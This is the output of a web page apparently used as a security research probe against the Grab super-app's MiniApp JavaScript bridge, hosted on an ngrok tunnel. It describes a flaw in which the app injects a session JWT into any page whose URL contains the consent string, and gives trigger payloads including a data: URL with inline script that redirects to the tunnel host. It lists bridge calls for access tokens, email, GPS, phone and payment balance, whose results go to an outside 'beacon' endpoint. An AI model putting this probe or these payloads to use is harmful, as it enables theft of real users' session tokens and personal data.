Grab MiniApp JSAPI Probe

Security research only. Open via grab:// MINIAPP deep link (in-app WebView), not system browser.
Recommended: ?client_id=4049b8b349984c898d3105ec90262845&redirect_url=https%3A%2F%2Fwww.grab.com%2F
Network phone leak needs redirect_url (or any grab-suffix host) so InitialWebUrl host check passes.
href: https://aadb-203-208-187-164.ngrok-free.app/bridge-probe
client_id: (none — add ?client_id=4049b8b…)
beacon: https://aadb-203-208-187-164.ngrok-free.app/beacon

Profile / phone (NetworkModule.send)

Phone: —

Name: —

Country: —

GPS: —

Network status: not called

Raw NetworkModule.send callback:

(none yet)

SEC-01: window.ssid JWT injection (consent-page substring match)

Consent URL (STG): https://weblogin.stg-myteksi.com/consent

The app injects window.ssid = '<jwt>' on any loaded URL that merely contains that string (url.contains(consentPage)).

Trigger A (this page): from a legit MiniApp WebView run location = 'https://aadb-203-208-187-164.ngrok-free.app/?u=https://weblogin.stg-myteksi.com/consent'

Trigger B (no server needed, like cdp-safe-peer.mjs):

location = "data:text/html,<script>location='https://aadb-203-208-187-164.ngrok-free.app/?u=https://weblogin.stg-myteksi.com/consent'</script>"

— or navigate directly to any data: URL whose href contains the consent string.

ssid status: not checked

window.ssid value (JWT):

(none yet)

safe suite done OK=0 ERR=0

SKIP ContainerModule.getDevicePlatform → bridge missing (not in Grab WebView?)

SKIP ContainerModule.isConnected → bridge missing (not in Grab WebView?)

SKIP UserAttributesModule.getSelectedTravelDestination → bridge missing (not in Grab WebView?)

SKIP ScopeModule.reloadScopes → bridge missing (not in Grab WebView?)

SKIP LocationModule.getCoordinate → bridge missing (not in Grab WebView?)

SKIP LocationModule.getCountryCode → bridge missing (not in Grab WebView?)

SKIP StorageModule.getString → bridge missing (not in Grab WebView?)

SKIP StorageModule.setString → bridge missing (not in Grab WebView?)

SKIP AuthModule.getAccessToken → bridge missing (not in Grab WebView?)

SKIP ProfileModule.fetchEmail → bridge missing (not in Grab WebView?)

SKIP PaymentModule.getCreditBalance → bridge missing (not in Grab WebView?)

href=https://aadb-203-208-187-164.ngrok-free.app/bridge-probe
client_id=(none — add ?client_id=4049b8b…)
ua=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
beacon=https://aadb-203-208-187-164.ngrok-free.app/beacon
BRIDGES(0):

href=https://aadb-203-208-187-164.ngrok-free.app/bridge-probe
client_id=(none — add ?client_id=4049b8b…)
ua=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
beacon=https://aadb-203-208-187-164.ngrok-free.app/beacon
BRIDGES(0):

SKIP ContainerModule.getDevicePlatform
SKIP ContainerModule.isConnected
SKIP UserAttributesModule.getSelectedTravelDestination
SKIP ScopeModule.reloadScopes
SKIP LocationModule.getCoordinate
SKIP LocationModule.getCountryCode
SKIP StorageModule.getString
SKIP StorageModule.setString
SKIP AuthModule.getAccessToken
SKIP ProfileModule.fetchEmail
SKIP PaymentModule.getCreditBalance
beacon ok
beacon ok
beacon ok